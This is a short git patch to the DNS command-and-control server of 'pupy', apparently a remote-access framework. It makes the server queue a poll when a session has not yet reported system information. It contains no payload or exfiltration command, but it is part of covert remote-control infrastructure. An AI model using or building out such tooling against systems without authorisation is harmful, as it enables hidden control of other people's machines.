From f2c02b4ee235f144a46dbef9d1e30f3fadb4e722 Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Thu, 8 Nov 2018 09:59:36 +0200 Subject: [PATCH] dnscnc: reask status if something went wrong during transfer --- pupy/network/lib/picocmd/server.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/pupy/network/lib/picocmd/server.py b/pupy/network/lib/picocmd/server.py index 49566bac..35c67041 100644 --- a/pupy/network/lib/picocmd/server.py +++ b/pupy/network/lib/picocmd/server.py @@ -775,6 +775,10 @@ class DnsCommandServerHandler(BaseResolver): session._user_active_reported = session.system_status['idle'] commands = session.commands + + if not session.system_info: + commands.append(Poll()) + return commands elif isinstance(command, SystemInfo) and not session: